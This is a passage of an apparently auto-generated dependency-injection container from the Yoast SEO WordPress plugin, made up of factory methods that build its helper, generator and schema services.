        return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Site\\Website_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Site\Post_Site_Information($a, $b, $c, $d, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] : $this->getAlertDismissalActionService()) && false ?: '_'}, $e, $f), new \Yoast\WP\SEO\Editors\Framework\Site\Term_Site_Information($a, $b, $c, $d, $e, $f));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\General\User_Interface\General_Page_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\General\User_Interface\General_Page_Integration
     */
    protected function getGeneralPageIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration'] = new \Yoast\WP\SEO\General\User_Interface\General_Page_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] : $this->getAlertDismissalActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager']) ? $this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] : $this->getPromotionManagerService()) && false ?: '_'}, new \Yoast\WP\SEO\Dashboard\Application\Configuration\Dashboard_Configuration(new \Yoast\WP\SEO\Dashboard\Application\Content_Types\Content_Types_Repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] : $this->getContentTypesCollectorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] : $this->getTaxonomiesRepositoryService()) && false ?: '_'}), ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository']) ? $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository'] : $this->getEnabledAnalysisFeaturesRepositoryService()) && false ?: '_'}, new \Yoast\WP\SEO\Dashboard\Application\Endpoints\Endpoints_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Readability_Scores_Endpoint(), new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\SEO_Scores_Endpoint()), new \Yoast\WP\SEO\Dashboard\Infrastructure\Nonces\Nonce_Repository()));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Breadcrumbs_Generator' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Breadcrumbs_Generator
     */
    protected function getBreadcrumbsGeneratorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] = new \Yoast\WP\SEO\Generators\Breadcrumbs_Generator(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Open_Graph_Image_Generator' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Open_Graph_Image_Generator
     */
    protected function getOpenGraphImageGeneratorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Image_Generator(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] : $this->getImageHelper2Service()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator
     */
    protected function getOpenGraphLocaleGeneratorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\Article' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\Article
     */
    protected function getArticleService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Article'] = new \Yoast\WP\SEO\Generators\Schema\Article();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\Author' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\Author
     */
    protected function getAuthorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Author'] = new \Yoast\WP\SEO\Generators\Schema\Author();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\Breadcrumb' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\Breadcrumb
     */
    protected function getBreadcrumbService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Breadcrumb'] = new \Yoast\WP\SEO\Generators\Schema\Breadcrumb();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\FAQ' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\FAQ
     */
    protected function getFAQService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\FAQ'] = new \Yoast\WP\SEO\Generators\Schema\FAQ();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\HowTo' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\HowTo
     */
    protected function getHowToService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\HowTo'] = new \Yoast\WP\SEO\Generators\Schema\HowTo();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\Main_Image' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\Main_Image
     */
    protected function getMainImageService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Main_Image'] = new \Yoast\WP\SEO\Generators\Schema\Main_Image();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\Organization' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\Organization
     */
    protected function getOrganizationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Organization'] = new \Yoast\WP\SEO\Generators\Schema\Organization();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\Person' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\Person
     */
    protected function getPersonService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Person'] = new \Yoast\WP\SEO\Generators\Schema\Person();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\WebPage' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\WebPage
     */
    protected function getWebPageService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\WebPage'] = new \Yoast\WP\SEO\Generators\Schema\WebPage();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema\Website' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema\Website
     */
    protected function getWebsiteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema\\Website'] = new \Yoast\WP\SEO\Generators\Schema\Website();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Schema_Generator' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Schema_Generator
     */
    protected function getSchemaGeneratorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] = new \Yoast\WP\SEO\Generators\Schema_Generator(${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] : $this->getHelpersSurfaceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper'] : $this->getReplaceVarsHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Generators\Twitter_Image_Generator' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Generators\Twitter_Image_Generator
     */
    protected function getTwitterImageGeneratorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] = new \Yoast\WP\SEO\Generators\Twitter_Image_Generator(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] : $this->getImageHelper4Service()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Aioseo_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Aioseo_Helper
     */
    protected function getAioseoHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] = new \Yoast\WP\SEO\Helpers\Aioseo_Helper(${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper'] : $this->getWpdbHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Asset_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Asset_Helper
     */
    protected function getAssetHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Asset_Helper'] = new \Yoast\WP\SEO\Helpers\Asset_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper
     */
    protected function getAttachmentCleanupHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper'] = new \Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Author_Archive_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Author_Archive_Helper
     */
    protected function getAuthorArchiveHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] = new \Yoast\WP\SEO\Helpers\Author_Archive_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Blocks_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Blocks_Helper
     */
    protected function getBlocksHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Blocks_Helper'] = new \Yoast\WP\SEO\Helpers\Blocks_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Capability_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Capability_Helper
     */
    protected function getCapabilityHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Crawl_Cleanup_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Crawl_Cleanup_Helper
     */
    protected function getCrawlCleanupHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper'] = new \Yoast\WP\SEO\Helpers\Crawl_Cleanup_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Curl_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Curl_Helper
     */
    protected function getCurlHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Curl_Helper'] = new \Yoast\WP\SEO\Helpers\Curl_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Current_Page_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Current_Page_Helper
     */
    protected function getCurrentPageHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] = new \Yoast\WP\SEO\Helpers\Current_Page_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Date_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Date_Helper
     */
    protected function getDateHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Environment_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Environment_Helper
     */
    protected function getEnvironmentHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] = new \Yoast\WP\SEO\Helpers\Environment_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper
     */
    protected function getFirstTimeConfigurationNoticeHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper'] = new \Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Home_Url_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Home_Url_Helper
     */
    protected function getHomeUrlHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Home_Url_Helper'] = new \Yoast\WP\SEO\Helpers\Home_Url_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Image_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Image_Helper
     */
    protected function getImageHelperService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'])) {
            return $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'];
        }

        return $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Image_Helper($a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] : ($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] = new \Yoast\WP\SEO\Repositories\SEO_Links_Repository())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Import_Cursor_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Import_Cursor_Helper
     */
    protected function getImportCursorHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Cursor_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Import_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Import_Helper
     */
    protected function getImportHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Indexable_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Indexable_Helper
     */
    protected function getIndexableHelperService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'])) {
            return $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'];
        }

        $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] = $instance = new \Yoast\WP\SEO\Helpers\Indexable_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] = new \Yoast\WP\SEO\Helpers\Environment_Helper())) && false ?: '_'}, $a);

        $instance->set_indexable_repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Indexable_To_Postmeta_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Indexable_To_Postmeta_Helper
     */
    protected function getIndexableToPostmetaHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper'] = new \Yoast\WP\SEO\Helpers\Indexable_To_Postmeta_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Indexing_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Indexing_Helper
     */
    protected function getIndexingHelperService()
    {
        $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] = $instance = new \Yoast\WP\SEO\Helpers\Indexing_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'});

        $instance->set_indexing_actions(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] : $this->getIndexablePostIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] : $this->getIndexableTermIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] : $this->getIndexablePostTypeArchiveIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] : $this->getIndexableGeneralIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] : $this->getPostLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] : $this->getTermLinkIndexingActionService()) && false ?: '_'});
        $instance->set_indexable_repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Language_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Language_Helper
     */
    protected function getLanguageHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Language_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Meta_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Meta_Helper
     */
    protected function getMetaHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper();
    }

    /**
